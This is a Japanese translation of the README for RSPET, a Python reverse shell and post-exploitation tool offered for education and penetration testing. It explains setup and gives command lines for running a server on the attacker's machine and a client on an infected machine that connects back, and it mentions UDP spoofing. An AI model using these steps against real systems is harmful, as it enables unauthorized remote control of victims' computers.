
RSPET(リバースシェルおよびポストエクスプロイテーションツール)は、ポストエクスプロイテーションシナリオを支援する機能を備えたPythonベースのリバースシェルです。
RSPET(Reverse Shell and Post Exploitation Tool)は、Python ベースのリバースシェルであり、ポストエクスプロイテーションシナリオを支援する機能を備えています。
免責事項:このソフトウェアは教育目的およびペネトレーションテスト目的、ならびに概念実証として提供されています。開発者は許可されていないコンピュータアクセスやネットワークの混乱を推奨、扇動、またはいかなる形でも支援するものではありません。
注記:min フォルダは削除されました。2つのバージョンを維持するオーバーヘッドが追加されたため、min はバグ修正や重要なアップデートを受け取らなくなりました。よりシンプルなバージョンを使用・維持することに関心があれば、新しいブランチを作成してホストします。
現在のバージョン: v0.3.1
フォロー: @TheRSPET Twitter で最新情報を入手。
ドキュメント : rspet.readthedocs.io
*[1]XOR のアイデアとクライアントの骨格は primalsecurity.net から来ています。このスクリプトパックが気に入ったら、彼らの活動もきっと気に入るでしょう。
*[2]UDP スプーフィングは RAW_SOCKETS を使用するため、これを利用するにはクライアントが RAW_SOCKETS をサポートする OS(ほとんどの Unix ベース)かつ root 権限で動作している必要があります。さらに、ほとんどの ISP はスプーフィングされたパケットをドロップまたは再構成する実装を導入しています。
*[3]再び primalsecurity.net の .exe 生成に関する完璧なブログ投稿をチェックしてください。
*[4]プラグイン作成の詳細なドキュメントは オンラインドキュメント にあります!
rspet_server.py は攻撃者のマシンに配置され、接続を受け付けるために実行されます。rspet_client.py は感染したマシンに配置され、接続を開始して入力待ちとなります。プロジェクトのルートフォルダで ./setup.py を実行すると、必要な証明書が生成され、必要なコンポーネントが pip 経由でインストールされます。
もちろん、pip2 install Flask flask-cors を実行して必要な pip パッケージを手動でインストールすることもできます。
また、独自の鍵証明書セットを生成することもできます(server.key と server.crt という名前を付けて Server フォルダ内に配置してください)。
python rspet_server.py [-c #clients, --ip ipToBind, -p portToBind]
max_connections は空白の場合はデフォルトで 5 になります。
RESTful API:
python rspet_server_api.py [-c #clients, --ip ipToBind, -p portToBind]
クライアント:
python rspet_client.py <server_ip> [server_port]
個々のニーズに合わせて多くの変更が可能です。
いつものように、提案、バグ報告、苦情があれば気軽に連絡してください。
RSPET を含むディストリビューションのリスト
List_Hosts でクライアントのバージョンとタイプ(min または full)をプロパティとして追加このプロジェクトは Google の Python スタイルガイド に従っていますが、":" トークンを揃えるための空白の使用に若干の変更を加えています。
このプロジェクトはコントリビューターを歓迎しています。新しい機能を実装した場合、または現在のコードを改善した場合は、プルリクエストを遠慮なく開いてください。新しい機能を提案したい場合は、Issue を開いてください。さらに、標準的なシナリオ(および独自のシナリオもいくつか)を実行して、新しいバージョンにバグが紛れ込む可能性を減らすためのテスターが必要です。テストに関心がある場合は、beta ブランチ(テスト対象のコードがアップロードされる)とシナリオのリストが作成されます。コントリビューションの機会とガイドの完全なガイドは、RSPET のオンラインドキュメントの「Contributing」章 を参照してください。
dzervas -- コード(サーバー OO 再設計、サーバープラグインシステム実装、バグ報告、バグ修正)
MIT
i.
.7.
.. :v
c: .x
i.::
:
..i..
#MMMMM
QM AM
9M zM
6M AM
2M 2MX#MM@1.
0M tMMMMMMMMMM;
.X#MMMM ;MMMMMMMMMMMMv
cEMMMMMMMMMU7@MMMMMMMMMMMMM@
.n@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMM@@#$BWWB#@@#$WWWQQQWWWWB#@MM.
MM ;M.
$M EM
WMO$@@@@@@@@@@@@@@@@@@@@@@@@@@@@#OMM
#M cM
QM tM
MM CMO
.MMMM oMMMt
1MO 6MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM iMM
.M1 BM VM ,Mt
1M @M .............................. WM M6
MM .A8OQWWWWWWWWWWWWWWWWWWWWWWWWWWW0Az2 #M
MM MM.
@MMY vMME
UMMMbi i8MMMt
C@MMMMMbt;;i.......i;XQMMMMMMt
;ZMMMMMMMMMMMMMMM@A;.
ケーキは嘘です。しかし、1年が経ちました :)